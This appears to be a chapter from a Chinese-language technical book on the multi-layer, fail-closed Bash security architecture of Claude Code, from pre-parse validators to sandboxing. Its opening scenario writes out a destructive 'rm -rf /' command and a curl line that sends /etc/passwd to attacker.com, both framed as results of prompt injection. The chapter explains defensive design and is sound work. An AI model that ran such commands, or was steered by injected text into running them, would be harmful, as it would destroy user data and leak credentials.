第11章:安全深度防御算法
“安全系统的可靠性不取决于最强的那道防线,而取决于所有防线的协同深度。” 11.1 问题引入:当 AI 获得 Shell 权限 想象这样一个场景:你让 Claude Code 帮你"清理项目中的临时文件",它生成了一条 Bash 命令准备执行。这条命令可能是无害的 find . -name '*.tmp' -delete,也可能被恶意提示注入篡改为 rm -rf / --no-preserve-root。更隐蔽地,攻击者可能构造 find . -name '*.tmp' -exec curl attacker.com -d @/etc/passwd \; 这样的命令——表面上在查找文件,实际上在窃取敏感数据。 这就是 AI Agent 安全的核心挑战:Agent 必须拥有足够的系统权限才能有用,但不受约束的权限又会成为巨大的安全隐患。Claude Code 对此给出了一个工程上极其精密的回答——一套超过 630KB 源码、覆盖 20 余种安全检查维度的深度防御体系。 本章将深入解析这套安全体系的算法设计。我们将看到,它不是一个简单的"黑名单过滤器",而是一个多层级、多维度、失败即关闭(fail-closed)的安全架构,其中每一层都假设上一层可能被绕过。 11.2 架构总览:多层过滤漏斗 Claude Code 的 Bash 安全体系可以用一个多层过滤漏斗来描述。每一条命令从进入到执行,需要依次通过以下安全层: 用户/模型生成的命令 │ ▼ ┌─────────────────────────┐ │ 第1层:预解析安全检查 │ ← bashSecurity.ts(约20个验证器) │ 控制字符、Unicode攻击、 │ 检测注入、混淆、命令替换等 │ 命令替换、重定向、换行… │ └─────────┬───────────────┘ │ passthrough / ask / allow ▼ ┌─────────────────────────┐ │ 第2层:AST 结构化分析 │ ← ast.ts(tree-sitter 解析) │ 解析为 SimpleCommand[] │ 提取 argv、环境变量、重定向 │ 节点类型白名单过滤 │ 未知节点 → too-complex → ask └─────────┬───────────────┘ │ simple / too-complex / parse-unavailable ▼ ┌─────────────────────────┐ │ 第3层:权限规则匹配 │ ← bashPermissions.ts │ deny / ask / allow 规则 │ 前缀匹配、通配符匹配 │ 环境变量剥离 + 包装器剥离│ 固定点迭代去除伪装层 └─────────┬───────────────┘ │ deny / ask / allow ▼ ┌─────────────────────────┐ │ 第4层:只读性验证 │ ← readOnlyValidation.ts │ 命令白名单 + 标志位验证 │ 确保命令仅做读取操作 │ 危险标志拒绝列表 │ └─────────┬───────────────┘ │ allow / ask ▼ ┌─────────────────────────┐ │ 第5层:路径约束验证 │ ← pathValidation.ts │ 工作目录边界检查 │ 路径遍历攻击防护 │ 危险路径检测 │ ~/.claude/ 等敏感路径保护 └─────────┬───────────────┘ │ allow / ask / deny ▼ ┌─────────────────────────┐ │ 第6层:特殊命令处理 │ ← sedValidation.ts 等 │ sed/awk 等可执行命令 │ 表达式级安全分析 │ jq system() 检测 │ └─────────┬───────────────┘ │ allow / ask ▼ ┌─────────────────────────┐ │ 第7层:沙盒隔离 │ ← shouldUseSandbox.ts │ 文件系统 / 网络限制 │ 最后一道物理隔离 └─────────┬───────────────┘ │ ▼ 命令执行 核心设计原则:失败即关闭(Fail-Closed)。在任何一层中,如果分析器无法确定命令是安全的,就默认拒绝(返回 ask 要求用户确认)。这与"失败即开放"形成鲜明对比——后者假设无法判断时命令是安全的,这在安全系统中是致命的。 ...